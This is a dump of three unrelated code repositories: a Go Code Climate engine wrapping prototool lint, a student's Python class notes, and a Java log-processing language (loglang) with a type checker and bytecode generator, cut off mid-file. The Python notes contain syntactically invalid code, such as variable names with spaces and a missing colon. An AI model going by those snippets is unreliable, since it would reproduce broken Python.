<repo_name>esilkensen/codeclimate-prototool-lint<file_sep>/codeclimate-prototool-lint.go package main import ( "crypto/md5" "encoding/json" "fmt" "github.com/codeclimate/cc-engine-go/engine" "os" "os/exec" "path/filepath" "regexp" "strconv" "strings" ) type IssueWithFingerprint struct { engine.Issue Fingerprint string `json:"fingerprint"` } func main() { rootPath := "/code/" config, err := engine.LoadConfig() if err != nil { fmt.Fprintf(os.Stderr, "Error loading config: %v\n", err) os.Exit(1) } analysisFiles, err := protoFileWalk(rootPath, engine.IncludePaths(rootPath, config)) if err != nil { fmt.Fprintf(os.Stderr, "Error initializing: %v\n", err) os.Exit(1) } fmt.Fprintf(os.Stderr, "Processing %d proto files\n", len(analysisFiles)) for _, path := range analysisFiles { fmt.Fprintf(os.Stderr, "Processing proto file: %s\n", path) analyzeFile(path) } fmt.Fprintf(os.Stderr, "Processed %d proto files\n", len(analysisFiles)) } func analyzeFile(path string) { cmd := exec.Command("prototool", "lint", path) output, err := cmd.CombinedOutput() if err != nil && output != nil { lines := strings.Split(string(output[:]), "\n") for _, line := range lines { parseIssue(line) } } } // path:line:column:description var issuePattern = regexp.MustCompile(`^(.*):([0-9]+):([0-9]+):(.*)$`) func parseIssue(output string) { match := issuePattern.FindStringSubmatch(output) if match != nil && len(match) == 5 { path := match[1] line, _ := strconv.Atoi(match[2]) column, _ := strconv.Atoi(match[3]) description := match[4] lineColumn := &engine.LineColumn{ Line: line, Column: column, } location := &engine.Location{ Path: path, Positions: &engine.LineColumnPosition{ Begin: lineColumn, End: lineColumn, }, } issue := &engine.Issue{ Type: "issue", Check: "prototool lint", Description: description, RemediationPoints: 50000, Categories: []string{"Style"}, Location: location, } outputSum := md5.Sum([]byte(output)) fingerprint := fmt.Sprintf("%x", string(outputSum[:])) issueWithFingerprint := &IssueWithFingerprint{ Issue: *issue, Fingerprint: fingerprint, } printIssue(issueWithFingerprint) } } func printIssue(issue *IssueWithFingerprint) (err error) { jsonOutput, err := json.Marshal(issue) if err != nil { return err } jsonOutput = append(jsonOutput, 0) os.Stdout.Write(jsonOutput) return nil } func protoFileWalk(rootPath string, includePaths []string) (fileList []string, err error) { walkFunc := func(path string, f os.FileInfo, err error) error { if strings.HasSuffix(path, ".proto") && prefixInArr(path, includePaths) { fileList = append(fileList, path) return nil } return err } err = filepath.Walk(rootPath, walkFunc) return fileList, err } func prefixInArr(str string, prefixes []string) bool { for _, prefix := range prefixes { if strings.HasPrefix(str, prefix) { return true } } return false } <file_sep>/README.md # Code Climate Prototool Lint Engine [![Build Status][badge]][repo] [badge]: https://github.com/esilkensen/codeclimate-prototool-lint/workflows/build/badge.svg [repo]: https://github.com/esilkensen/codeclimate-prototool-lint `codeclimate-prototool-lint` is a Code Climate engine that wraps [prototool lint](https://github.com/uber/prototool#prototool-lint). You can run it on your command line using the Code Climate CLI, or on the hosted analysis platform. This engine uses the latest [`uber/prototool` Docker image](https://hub.docker.com/r/uber/prototool) which is built with a particular version of `protoc`. As a result, the Prototool `protoc.version` configuration option is ignored. ### Installation 1. If you haven't already, [install the Code Climate CLI](https://github.com/codeclimate/codeclimate). 2. Add the following to yout Code Climate config: ```yaml version: "2" plugins: prototool-lint: enabled: true ``` 3. Run `codeclimate engines:install` 4. You're ready to analyze! Browse into your project's folder and run `codeclimate analyze`. ### Need help? For help with Prototool Lint, [check out their documentation](https://github.com/uber/prototool/blob/dev/docs/lint.md). If you're running into a Code Climate issue, first look over this project's [GitHub Issues](https://github.com/esilkensen/codeclimate-prototool-lint/issues), as your question may have already been covered. If not, [go ahead and open a support ticket with Code Climate](https://codeclimate.com/help). <file_sep>/Makefile .PHONY: image test IMAGE_NAME ?= codeclimate/codeclimate-prototool-lint image: docker build --tag "$(IMAGE_NAME)" . test: docker run --rm -v $(PWD):/code $(IMAGE_NAME) | diff test/expected - <file_sep>/Dockerfile FROM golang:1.13.5-alpine3.11 as build WORKDIR /usr/src/app COPY engine.json codeclimate-prototool-lint.go ./ RUN apk add --no-cache git RUN go get -t -d -v . RUN go build -o codeclimate-prototool-lint . FROM uber/prototool:latest LABEL maintainer="<NAME> <<EMAIL>>" RUN chmod -R 0755 /usr/include/google/protobuf/ RUN adduser -u 9000 -D app WORKDIR /code COPY --from=build /usr/src/app/engine.json / COPY --from=build /usr/src/app/codeclimate-prototool-lint /usr/src/app/ USER app VOLUME /code CMD ["/usr/src/app/codeclimate-prototool-lint"]
7fa869047d80c2e5b099f5a7d41ec08cfd223b45
[ "Markdown", "Go", "Dockerfile", "Makefile" ]
4
Go
esilkensen/codeclimate-prototool-lint
7016d53af94151a2fd2b7631feaccfc05a92189d
41c317855bd9a9880c856d3c0439615d578b841c
refs/heads/master
<repo_name>kelseywest520/class_notes<file_sep>/Week 1 /day3.py For loop: ...> For _ in range (5): print("i am looping") For looping 5 times turns=0 while turns <5 print ("WHILE LOOPING") turns= turns + 1 while choice != "n" print(choice) choice= input("Do you want to loop again?[Y,n]") <file_sep>/Week 1 /Lists_Tuples_and_Sets.py #tuple a tuple is a list that cannot be changed my tuple= ("joel", "sarah") print(my_tuple) my_string= "cellular phone" print(my_string + "s") my_string= my_string + "s" <file_sep>/Week 1 /day4_exercise.py #input 1=" programming is fun" #input 2= "m" #output = [6,7] sentence = "I decided to learn how to program" letter= "m" output= [] #enumerate will allow you to track the current location or idx for current_location, current_letter in enumerate(sentence): if current_letter == letter: output.append(current_location) print (output) <file_sep>/Week 1 /Day3_collections.py my list= ["joel", 33, ["the dark", "wasps"]] print (my_list[1]) one_dim=1 two_dim= [2, 4, 5] three_dim= [[4, 5, 6]] [2, 5, 6] [6, 4, 5] forth_dim= (groups of matrixs) <file_sep>/Week 1 /day3_fileio.py #First way to open a file open_file = open("data_file.txt") contents = open_file.read() #contents=open_file.readlines() reads the lines. line for 1st line. print(contents) open_file.close() print(help(open_file)) #second way to open a file with open ("data_file.txt") as better_open_file: better_contents = better_open_file.read() print(better_contents) #automatically closes when the indent ends
6d997a5eec2b152ca609334994a8464de8647f2d
[ "Python" ]
5
Python
kelseywest520/class_notes
5179c93692b7f2aab2cd7bdfd341900d5ab2cfb7
69bfade7f2d9d883fb2e45c1934871bdf691f13b
refs/heads/master
<repo_name>sekiguchi-nagisa/loglang<file_sep>/src/main/java/loglang/TreeTranslator.java package loglang; import loglang.misc.FatalError; import loglang.misc.Utils; import nez.ast.Tree; import nez.peg.tpeg.LongRange; import java.util.HashMap; import java.util.Map; import java.util.Objects; /** * Created by skgchxngsxyz-osx on 15/08/28. */ public abstract class TreeTranslator<R> { protected final Map<String, TagHandler<R>> handlerMap = new HashMap<>(); protected void add(String tagName, TagHandler<R> handler) { if(Objects.nonNull(this.handlerMap.put(tagName, handler))) { throw new FatalError("duplicated tag: " + tagName); } } public R translate(Tree<?> tree) { String key = tree.getTag().getSymbol(); TagHandler<R> handler = this.handlerMap.get(key); if(Objects.isNull(handler)) { throw new FatalError("undefined handler: " + key); } try { return handler.invoke(tree); } catch(Exception e) { throw Utils.propagate(e); } } @FunctionalInterface public interface TagHandler<T> { T invoke(Tree<?> tree) throws Exception; } public static LongRange range(Tree<?> tree) { return new LongRange(tree.getSourcePosition(), tree.getLength()); } } <file_sep>/loglang-peg #!/bin/bash LL_PEG_ONLY=on ./loglang $@ <file_sep>/src/main/java/loglang/jvm/ByteCodeGenerator.java package loglang.jvm; import static loglang.Node.*; import loglang.*; import loglang.misc.FatalError; import loglang.misc.Pair; import loglang.misc.Utils; import loglang.symbol.MemberRef; import nez.ast.Tree; import nez.peg.tpeg.type.LType; import org.objectweb.asm.ClassWriter; import org.objectweb.asm.Label; import org.objectweb.asm.Opcodes; import org.objectweb.asm.Type; import org.objectweb.asm.commons.GeneratorAdapter; import org.objectweb.asm.commons.Method; import java.util.Objects; /** * Created by skgchxngsxyz-opensuse on 15/08/19. */ public class ByteCodeGenerator implements NodeVisitor<Void, MethodBuilder>, Opcodes { /** * code generation entry point * @param caseNode * @return * pair of generated class name (fully qualified name) and byte code. */ public Pair<String, byte[]> generateCode(CaseNode caseNode) { String className = caseNode.getThisType().getInternalName(); ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES); cw.visit(V1_8, ACC_PUBLIC, className, null, Type.getInternalName(Object.class), new String[]{Type.getInternalName(CaseContext.class)}); cw.visitSource(null, null); // generate state (field) for(StateDeclNode child : caseNode.getStateDeclNodes()) { cw.visitField(ACC_PUBLIC, child.getName(), TypeUtil.asType(child.getInitValueNode().getType()).getDescriptor(), null, null); } // generate constructor Method methodDesc = TypeUtil.toConstructorDescriptor(); MethodBuilder mBuilder = new MethodBuilder(className, ACC_PUBLIC, methodDesc, cw); mBuilder.loadThis(); mBuilder.invokeConstructor(Type.getType(Object.class), methodDesc); // field initialization for(StateDeclNode child : caseNode.getStateDeclNodes()) { mBuilder.loadThis(); this.visit(child.getInitValueNode(), mBuilder); mBuilder.putField(Type.getType("L" + className + ";"), child.getName(), TypeUtil.asType(child.getInitValueNode().getType())); } mBuilder.returnValue(); mBuilder.endMethod(); // generate method methodDesc = TypeUtil.toMethodDescriptor(void.class, "invoke", Tree.class, Tree.class); mBuilder = new MethodBuilder(className, ACC_PUBLIC, methodDesc, cw); this.visit(caseNode.getBlockNode(), mBuilder); mBuilder.returnValue(); mBuilder.endMethod(); // finalize cw.visitEnd(); return Pair.of(className, cw.toByteArray()); } @Override public Void visit(Node node) { throw new UnsupportedOperationException("not call it"); } @Override public Void visit(Node node, MethodBuilder param) { return node.accept(this, Objects.requireNonNull(param)); } @Override public Void visitIntLiteralNode(IntLiteralNode node, MethodBuilder param) { param.push(node.getValue()); return null; } @Override public Void visitFloatLiteralNode(FloatLiteralNode node, MethodBuilder param) { param.push(node.getValue()); return null; } @Override public Void visitBoolLiteralNode(BoolLiteralNode node, MethodBuilder param) { param.push(node.getValue()); return null; } @Override public Void visitStringLiteralNode(StringLiteralNode node, MethodBuilder param) { param.push(node.getValue()); return null; } @Override public Void visitTernaryNode(TernaryNode node, MethodBuilder param) { Label elseLabel = param.newLabel(); Label mergeLabel = param.newLabel(); // cond this.visit(node.getCondNode(), param); param.ifZCmp(GeneratorAdapter.EQ, elseLabel); // then this.visit(node.getLeftNode(), param); param.goTo(mergeLabel); // else param.mark(elseLabel); this.visit(node.getRightNode(), param); // merge param.mark(mergeLabel); return null; } @Override public Void visitCondOpNode(CondOpNode node, MethodBuilder param) { if(node.isAnd()) { // conditional and Label rightLabel = param.newLabel(); Label mergeLabel = param.newLabel(); // and left this.visit(node.getLeftNode(), param); param.ifZCmp(GeneratorAdapter.NE, rightLabel); param.push(false); param.goTo(mergeLabel); // and right param.mark(rightLabel); this.visit(node.getRightNode(), param); // merge param.mark(mergeLabel); } else { // conditional or Label rightLabel = param.newLabel(); Label mergeLabel = param.newLabel(); // or left this.visit(node.getLeftNode(), param); param.ifZCmp(GeneratorAdapter.EQ, rightLabel); param.push(true); param.goTo(mergeLabel); // or right param.mark(rightLabel); this.visit(node.getRightNode(), param); // merge param.mark(mergeLabel); } return null; } @Override public Void visitCaseNode(CaseNode node, MethodBuilder param) { throw new UnsupportedOperationException(); } @Override public Void visitBlockNode(BlockNode node, MethodBuilder param) { for(Node child : node.getNodes()) { this.visit(child, param); } return null; } @Override public Void visitStateDeclNode(StateDeclNode node, MethodBuilder param) { throw new UnsupportedOperationException(); } @Override public Void visitVarDeclNode(VarDeclNode node, MethodBuilder param) { this.visit(node.getInitValueNode(), param); Type desc = TypeUtil.asType(node.getEntry().getFieldType()); param.visitVarInsn(desc.getOpcode(ISTORE), node.getEntry().getIndex()); return null; } @Override public Void visitVarNode(VarNode node, MethodBuilder param) { MemberRef.FieldRef entry = node.getEntry(); Type desc = TypeUtil.asType(entry.getFieldType()); if(Utils.hasFlag(entry.getAttribute(), MemberRef.LOCAL_VAR)) { param.visitVarInsn(desc.getOpcode(ILOAD), entry.getIndex()); } else { // access own field param.loadThis(); param.getField(TypeUtil.asType(entry.getOwnerType()), node.getVarName(), desc); } return null; } @Override public Void visitPrintNode(PrintNode node, MethodBuilder param) { LType exprType = node.getExprNode().getType(); this.visit(node.getExprNode(), param); // boxing param.box(TypeUtil.asType(exprType)); param.invokeStatic(Type.getType(loglang.lang.Helper.class), TypeUtil.toMethodDescriptor(void.class, "print", Object.class)); return null; } @Override public Void visitAssertNode(AssertNode node, MethodBuilder param) { if(Config.noAssert) { return null; // not generate assert statement } this.visit(node.getCondNode(), param); node.getMsgNode().ifPresent(t -> this.visit(t, param)); if(!node.getMsgNode().isPresent()) { param.pushNull(); } param.invokeStatic(Type.getType(loglang.lang.Helper.class), TypeUtil.toMethodDescriptor(void.class, "checkAssertion", boolean.class, String.class)); return null; } @Override public Void visitWhileNode(WhileNode node, MethodBuilder param) { // create label Label continueLabel = param.newLabel(); Label breakLabel = param.newLabel(); param.getLoopLabels().push(Pair.of(breakLabel, continueLabel)); param.mark(continueLabel); this.visit(node.getCondNode(), param); param.ifZCmp(GeneratorAdapter.EQ, breakLabel); this.visit(node.getBlockNode(), param); param.goTo(continueLabel); param.mark(breakLabel); // remove label param.getLoopLabels().pop(); return null; } @Override public Void visitDoWhileNode(DoWhileNode node, MethodBuilder param) { // create label Label continueLabel = param.newLabel(); Label breakLabel = param.newLabel(); Label enterLabel = param.newLabel(); param.getLoopLabels().push(Pair.of(breakLabel, continueLabel)); param.mark(enterLabel); this.visit(node.getBlockNode(), param); param.mark(continueLabel); this.visit(node.getCondNode(), param); param.ifZCmp(GeneratorAdapter.EQ, breakLabel); param.goTo(enterLabel); param.mark(breakLabel); // remove label param.getLoopLabels().pop(); return null; } @Override public Void visitIfNode(IfNode node, MethodBuilder param) { Label elseLabel = param.newLabel(); Label mergeLabel = param.newLabel(); // cond this.visit(node.getCondNode(), param); param.ifZCmp(GeneratorAdapter.EQ, elseLabel); // then this.visit(node.getThenNode(), param); param.goTo(mergeLabel); // else param.mark(elseLabel); node.getElseNode().ifPresent(e -> this.visit(e, param)); // merge param.mark(mergeLabel); return null; } @Override public Void visitPopNode(PopNode node, MethodBuilder param) { this.visit(node.getExprNode(), param); // pop stack top switch(TypeUtil.stackConsumption(node.getExprNode().getType())) { case 1: param.pop(); break; case 2: param.pop2(); break; default: throw new FatalError("broken popNode type: " + node.getExprNode().getType()); } return null; } @Override public Void visitRootNode(RootNode node, MethodBuilder param) { throw new UnsupportedOperationException(); } } <file_sep>/src/main/java/loglang/TypeChecker.java package loglang; import loglang.symbol.ClassScope; import loglang.symbol.MemberRef; import loglang.symbol.SymbolTable; import nez.peg.tpeg.SemanticException; import nez.peg.tpeg.type.LType; import nez.peg.tpeg.type.TypeEnv; import nez.peg.tpeg.type.TypeException; import java.util.Objects; import static loglang.Node.*; /** * Created by skgchxngsxyz-osx on 15/08/18. */ public class TypeChecker implements NodeVisitor<Node, Void> { private final TypeEnv env; private final SymbolTable symbolTable; /** * for currently processing class. */ private ClassScope classScope = null; public TypeChecker(TypeEnv env) { this.env = Objects.requireNonNull(env); this.symbolTable = new SymbolTable(this.env); } public Node checkType(LType requiredType, Node targetNode, LType unacceptableType) { //FIXME: coercion if(targetNode.getType() == null) { this.visit(targetNode); } LType type = targetNode.getType(); if(type == null) { throw new SemanticException(targetNode.getRange(), "broken node"); } if(requiredType == null) { if(unacceptableType != null && unacceptableType.isSameOrBaseOf(type)) { throw new SemanticException(targetNode.getRange(), "unacceptable type: " + type); } return targetNode; } if(requiredType.isSameOrBaseOf(type)) { return targetNode; } throw new SemanticException(targetNode.getRange(), "require: " + requiredType + ", but is: " + type); } /** * not allow void type * @param targetNode * @return */ public Node checkType(Node targetNode) { return this.checkType(null, targetNode, LType.voidType); } /** * not allow void type * @param requiredType * @param targetNode * @return */ public Node checkType(LType requiredType, Node targetNode) { return this.checkType(requiredType, targetNode, null); } /** * allow void type. * if resolved type is not void, wrap popNode. * if targetNode if BlockNode, check type with new scope * @param targetNode * @return */ public Node checkTypeAsStatement(Node targetNode) { if(targetNode instanceof BlockNode) { this.classScope.enterScope(); this.checkTypeWithCurrentScope((BlockNode) targetNode); this.classScope.exitScope(); return targetNode; } Node node = this.checkType(null, targetNode, null); return node.hasReturnValue() ? new PopNode(node) : node; } public void checkTypeWithCurrentScope(BlockNode blockNode) { this.checkType(this.env.getVoidType(), blockNode); } @Override public Node visitIntLiteralNode(IntLiteralNode node, Void param) { node.setType(this.env.getIntType()); return node; } @Override public Node visitFloatLiteralNode(FloatLiteralNode node, Void param) { node.setType(this.env.getFloatType()); return node; } @Override public Node visitBoolLiteralNode(BoolLiteralNode node, Void param) { node.setType(this.env.getBoolType()); return node; } @Override public Node visitStringLiteralNode(StringLiteralNode node, Void param) { node.setType(this.env.getStringType()); return node; } @Override public Node visitTernaryNode(TernaryNode node, Void param) { this.checkType(this.env.getBoolType(), node.getCondNode()); node.replaceLeftNode(this::checkType); LType leftType = node.getLeftNode().getType(); node.replaceRightNode(t -> this.checkType(leftType, t)); node.setType(leftType); return node; } @Override public Node visitCondOpNode(CondOpNode node, Void param) { this.checkType(this.env.getBoolType(), node.getLeftNode()); this.checkType(this.env.getBoolType(), node.getRightNode()); node.setType(this.env.getBoolType()); return node; } @Override public Node visitCaseNode(CaseNode node, Void param) { //FIXME: case parameter // create new ClassScope try { this.classScope = this.symbolTable.newCaseScope(this.env, node.getLabelName()); } catch(TypeException e) { throw new SemanticException(node.getRange(), e); } /** * representing CaseContext#invoke() * first entry is this * second entry and third entry are method parameters. */ this.classScope.enterMethod(3); // register state entry node.getStateDeclNodes().forEach(this::checkTypeAsStatement); // register prefix tree field entry // String name = TypeEnv.getAnonymousPrefixTypeName(); // LType stype = this.env.get this.checkTypeWithCurrentScope(node.getBlockNode()); node.setLocalSize(this.classScope.getMaximumLocalSize()); node.setThisType(this.classScope.getOwnerType()); this.classScope.exitMethod(); node.setType(LType.voidType); return node; } @Override public Node visitBlockNode(BlockNode node, Void param) { node.getNodes().replaceAll(this::checkTypeAsStatement); node.setType(LType.voidType); return node; } @Override public Node visitStateDeclNode(StateDeclNode node, Void param) { node.replaceInitValueNode(this::checkType); LType type = node.getInitValueNode().getType(); MemberRef.FieldRef entry = this.classScope.newStateEntry(node.getName(), type, false); if(entry == null) { throw new SemanticException(node.getRange(), "already defined state variable: " + node.getName()); } node.setType(LType.voidType); return node; } @Override public Node visitVarDeclNode(VarDeclNode node, Void param) { node.replaceInitValueNode(this::checkType); LType type = node.getInitValueNode().getType(); MemberRef.FieldRef entry = this.classScope.newLocalEntry(node.getName(), type, false); if(entry == null) { throw new SemanticException(node.getRange(), "already defined local variable: " + node.getName()); } node.setEntry(entry); node.setType(LType.voidType); return node; } @Override public Node visitVarNode(VarNode node, Void param) { MemberRef.FieldRef entry = this.classScope.findEntry(node.getVarName()); if(entry == null) { throw new SemanticException(node.getRange(), "undefined variable: " + node.getVarName()); } node.setEntry(entry); node.setType(entry.getFieldType()); return node; } @Override public Node visitPrintNode(PrintNode node, Void param) { this.checkType(node.getExprNode()); node.setType(this.env.getVoidType()); return node; } @Override public Node visitAssertNode(AssertNode node, Void param) { this.checkType(this.env.getBoolType(), node.getCondNode()); node.getMsgNode().ifPresent(t -> this.checkType(this.env.getStringType(), t)); node.setType(this.env.getVoidType()); return node; } @Override public Node visitWhileNode(WhileNode node, Void param) { this.checkType(this.env.getBoolType(), node.getCondNode()); this.checkTypeAsStatement(node.getBlockNode()); node.setType(this.env.getVoidType()); return node; } @Override public Node visitIfNode(IfNode node, Void param) { this.checkType(this.env.getBoolType(), node.getCondNode()); node.replaceThenNode(this::checkTypeAsStatement); node.repalceElseNodeIfExist(this::checkTypeAsStatement); node.setType(this.env.getVoidType()); return node; } @Override public Node visitDoWhileNode(DoWhileNode node, Void param) { this.checkTypeAsStatement(node.getBlockNode()); this.checkType(this.env.getBoolType(), node.getCondNode()); node.setType(this.env.getVoidType()); return node; } @Override public Node visitPopNode(PopNode node, Void param) { throw new UnsupportedOperationException(); // not call it. } @Override public Node visitRootNode(RootNode node, Void param) { node.getCaseNodes().forEach(this::checkTypeAsStatement); node.setType(LType.voidType); return node; } } <file_sep>/src/main/java/loglang/Loglang.java package loglang; import loglang.misc.FatalError; import loglang.misc.Utils; import nez.Grammar; import nez.Parser; import nez.ast.Tree; import nez.peg.tpeg.type.TypeEnv; import java.io.ByteArrayInputStream; import java.io.FileInputStream; import java.io.IOException; import java.util.Objects; /** * Created by skgchxngsxyz-osx on 15/08/11. */ public class Loglang { private final Parser patternParser; private final CaseContext[] cases; Loglang(Grammar patternGrammar, CaseContext[] cases) { this.patternParser = patternGrammar.newParser("File"); if(Config.noAction) { this.cases = new CaseContext[cases.length]; for(int i = 0; i < cases.length; i++) { this.cases[i] = (p, a) -> { if(p != null) { System.out.print(p.toText()); System.out.print(" "); } System.out.println(a.toText()); }; } } else { this.cases = cases; } } public void invoke(String sourceName, String line) { this.invoke(new InputStreamContext(sourceName, new ByteArrayInputStream(line.getBytes()))); } public void invoke(String inputName) { try { this.invoke(new InputStreamContext(inputName, new FileInputStream(inputName))); } catch(IOException e) { throw Utils.propagate(e); } } private static int parseCaseTag(String tagName) { // skip mangled name prefix int index = 0; final int size = tagName.length(); for(; index < size; index++) { if(tagName.charAt(index) == '_') { break; } } // skip case type name prefix index += TypeEnv.getAnonymousCaseTypeNamePrefix().length(); String id = tagName.substring(index, size - 2); return Integer.parseInt(id); } public void invoke(InputStreamContext inputSource) { Objects.requireNonNull(inputSource); while(inputSource.hasUnconsumed()) { Tree<?> result = this.patternParser.parseCommonTree(inputSource); if(result == null) { System.err.println("not match"); System.exit(1); } Tree<?> prefixTreeWrapper = null; Tree<?> caseTreeWrapper; if(result.size() == 1) { caseTreeWrapper = result.get(0); } else if(result.size() == 2) { prefixTreeWrapper = result.get(0); caseTreeWrapper = result.get(1); } else { throw new FatalError("broken parsed result: " + System.lineSeparator() + result); } caseTreeWrapper = caseTreeWrapper.get(0); String tagName = caseTreeWrapper.getTag().getSymbol(); int id = parseCaseTag(tagName); // System.out.println("matched: " + tagName); this.cases[id].invoke(prefixTreeWrapper, caseTreeWrapper); System.out.println(); inputSource.trim(); } } } <file_sep>/src/main/java/loglang/symbol/MemberRef.java package loglang.symbol; import loglang.TypeUtil; import loglang.lang.OperatorTable; import nez.peg.tpeg.type.LType; import org.objectweb.asm.Type; import org.objectweb.asm.commons.Method; import java.util.ArrayList; import java.util.Collections; import java.util.List; import java.util.Objects; /** * Created by skgchxngsxyz-osx on 15/08/27. */ public abstract class MemberRef { /** * if this is constructor, name is <init> */ protected final String internalName; /** * the type which the method belong to. */ protected final LType ownerType; public MemberRef(String internalName, LType ownerType) { this.internalName = Objects.requireNonNull(internalName); this.ownerType = Objects.requireNonNull(ownerType); } public final String getInternalName() { return internalName; } public final LType getOwnerType() { return ownerType; } /** * for symbol entry attribute */ public final static int READ_ONLY = 1; public final static int LOCAL_VAR = 1 << 1; public final static int INSTANCE_FIELD = 1 << 2; public final static int PREFIX_TREE_FIELD = 1 << 3; public final static int CASE_TREE_FIELD = 1 << 4; public final static int TREE_FIELD = 1 << 5; /** * for instance field and local variable */ public static class FieldRef extends MemberRef { private final LType fieldType; /** * if represents instance field(state), index is -1 */ private final int index; private final int attribute; /** * * @param index * @param fieldType * @param fieldName * @param ownerType * @param attribute */ public FieldRef(int index, LType fieldType, String fieldName, LType ownerType, int attribute) { super(fieldName, ownerType); this.fieldType = Objects.requireNonNull(fieldType); this.index = index; this.attribute = attribute; } public LType getFieldType() { return fieldType; } public int getIndex() { return index; } public int getAttribute() { return attribute; } @Override public String toString() { return "(" + this.fieldType + " " + this.getInternalName() + " in " + this.getOwnerType() + ")"; } @Override public boolean equals(Object obj) { return obj instanceof FieldRef && this.internalName.equals(((FieldRef) obj).internalName) && this.ownerType.equals(((FieldRef) obj).ownerType) && this.fieldType.equals(((FieldRef) obj).fieldType) && this.index == ((FieldRef) obj).index && this.attribute == ((FieldRef) obj).attribute; } } public enum InvocationKind { INVOKE_STATIC, INVOKE_SPECIAL, INVOKE_VIRTUAL, INVOKE_INTERFACE, INVOKE_DYNAMIC, } public static class MethodRef extends MemberRef { protected final LType returnType; /** * not contains receiver type. */ protected List<LType> paramTypes = new ArrayList<>(); protected InvocationKind kind; /** * if exist same name method, not null */ protected MethodRef next = null; public MethodRef(LType returnType, String methodName, List<LType> paramTypes, LType ownerType) { super(methodName, ownerType); this.returnType = Objects.requireNonNull(ownerType); this.kind = InvocationKind.INVOKE_VIRTUAL; for(LType paramType : paramTypes) { this.paramTypes.add(Objects.requireNonNull(paramType)); } // read only this.paramTypes = Collections.unmodifiableList(this.paramTypes); } public LType getReturnType() { return returnType; } /** * * @return * read only list. */ public List<LType> getParamTypes() { return paramTypes; } public InvocationKind getKind() { return kind; } public Method asMethod() { return new Method(this.internalName, TypeUtil.asType(this.returnType), this.paramTypes.stream().map(TypeUtil::asType).toArray(Type[]::new)); } /** * * @return * may be null */ public MethodRef getNext() { return next; } void setNext(MethodRef ref) { this.next = Objects.requireNonNull(ref); } @Override public String toString() { StringBuilder sBuilder = new StringBuilder() .append("(") .append(this.returnType) .append(" ") .append(this.internalName) .append("("); final int size = this.paramTypes.size(); for(int i = 0; i < size; i++) { if(i > 0) { sBuilder.append(", "); } sBuilder.append(this.paramTypes.get(i)); } sBuilder.append(") in ").append(this.ownerType).append(")"); return sBuilder.toString(); } @Override public boolean equals(Object obj) { return obj instanceof MethodRef && this.internalName.equals(((MethodRef) obj).internalName) && this.ownerType.equals(((MethodRef) obj).ownerType) && this.returnType.equals(((MethodRef) obj).returnType) && this.paramTypes.equals(((MethodRef) obj).paramTypes); } } public static class StaticMethodRef extends MethodRef { public StaticMethodRef(LType returnType, String methodName, List<LType> paramTypes, LType ownerType) { super(returnType, methodName, paramTypes, ownerType); this.kind = InvocationKind.INVOKE_STATIC; } } public static class ConstructorRef extends MethodRef { public ConstructorRef(LType ownerType, List<LType> paramTypes) { super(LType.voidType, "<init>", paramTypes, ownerType); this.kind = InvocationKind.INVOKE_SPECIAL; } } public final static LType operatorHolderType = new LType(OperatorTable.class, LType.anyType); } <file_sep>/src/main/java/loglang/Tree2NodeTranslator.java package loglang; import static loglang.Node.*; /** * Created by skgchxngsxyz-osx on 15/08/18. */ public class Tree2NodeTranslator extends TreeTranslator<Node> {{ this.add("Match", t -> { // entry point RootNode node = new RootNode(range(t)); t.stream().map(this::translate).map(CaseNode.class::cast).forEach(node::addCaseNode); return node; }); this.add("CaseStatement", t -> this.translate(t.get(1))); // ignore case pattern this.add("CaseBlock", t -> { assert t.size() == 2; CaseNode caseNode = new CaseNode(range(t), null); //FIXME: label // state decl t.get(0).stream().map(this::translate).map(StateDeclNode.class::cast).forEach(caseNode::addStateDeclNode); // block t.get(1).stream().map(this::translate).forEach(caseNode::addStmtNode); return caseNode; }); this.add("Ternary", t -> new TernaryNode(range(t), this.translate(t.get(0)), this.translate(t.get(1)), this.translate(t.get(2))) ); this.add("CondOr", t -> CondOpNode.newOrNode(range(t), this.translate(t.get(0)), this.translate(t.get(1)))); this.add("CondAnd", t -> CondOpNode.newAndNode(range(t), this.translate(t.get(0)), this.translate(t.get(1)))); this.add("Integer", t -> new IntLiteralNode(range(t), Integer.parseInt(t.toText()))); this.add("Float", t -> new FloatLiteralNode(range(t), Float.parseFloat(t.toText()))); this.add("True", t -> new BoolLiteralNode(range(t), true)); this.add("False", t -> new BoolLiteralNode(range(t), false)); this.add("String", t -> { String src = t.toText(); boolean dquote = src.charAt(0) == '"'; StringBuilder sb = new StringBuilder(); final int size = src.length() - 1; for(int i = 1; i < size; i++) { char ch = src.charAt(i); if(ch == '\\' && ++i < size) { char next = src.charAt(i); switch(next) { case 'n': ch = '\n'; break; case 'r': ch = '\r'; break; case 't': ch = '\t'; break; case '\'': if(!dquote) { ch = '\''; break; } i--; break; case '"': if(dquote) { ch = '"'; break; } i--; break; case '\\': ch = '\\'; break; default: i--; break; } } sb.append(ch); } return new StringLiteralNode(range(t), sb.toString()); }); this.add("Variable", t -> new VarNode(range(t), t.toText())); this.add("Print", t -> new PrintNode(range(t), this.translate(t.get(0)))); this.add("Assert", t -> new AssertNode(range(t), this.translate(t.get(0)), t.size() == 2 ? this.translate(t.get(1)) : null)); this.add("Block", t -> { BlockNode blockNode = new BlockNode(range(t)); t.stream().map(this::translate).forEach(blockNode::addNode); return blockNode; }); this.add("While", t -> new WhileNode(range(t), this.translate(t.get(0)), (BlockNode) this.translate(t.get(1)))); this.add("DoWhile", t -> new DoWhileNode(range(t), (BlockNode) this.translate(t.get(0)), this.translate(t.get(1)))); this.add("If", t -> new IfNode(range(t), this.translate(t.get(0)), this.translate(t.get(1)), t.size() == 2 ? null : this.translate(t.get(2))) ); this.add("State", t -> new StateDeclNode(range(t), t.get(0).toText(), this.translate(t.get(1)))); this.add("VarDecl", t -> new VarDeclNode(range(t), t.get(0).toText(), this.translate(t.get(1)))); }}<file_sep>/README.md [![Build Status](https://travis-ci.org/sekiguchi-nagisa/loglang.svg)](https://travis-ci.org/sekiguchi-nagisa/loglang) # Loglang generalized log processor ## build requirement * maven * JDK1.8 * git * bash * ant ## how to build ``` $ git clone <EMAIL>:sekiguchi-nagisa/loglang.git $ cd loglang $ ./setup.sh $ mvn package ``` <file_sep>/src/main/java/loglang/misc/Pair.java package loglang.misc; /** * Created by skgchxngsxyz-osx on 15/08/13. */ public class Pair<L, R> { private L left; private R right; Pair(L left, R right) { this.left = left; this.right = right; } public static <L, R> Pair<L, R> of(L left, R right) { return new Pair<>(left, right); } public L getLeft() { return this.left; } public void setLeft(L left) { this.left = left; } public R getRight() { return this.right; } public void setRight(R right) { this.right = right; } @Override public boolean equals(Object obj) { return obj instanceof Pair && this.left != null && this.left.equals(((Pair) obj).left) && this.right != null && 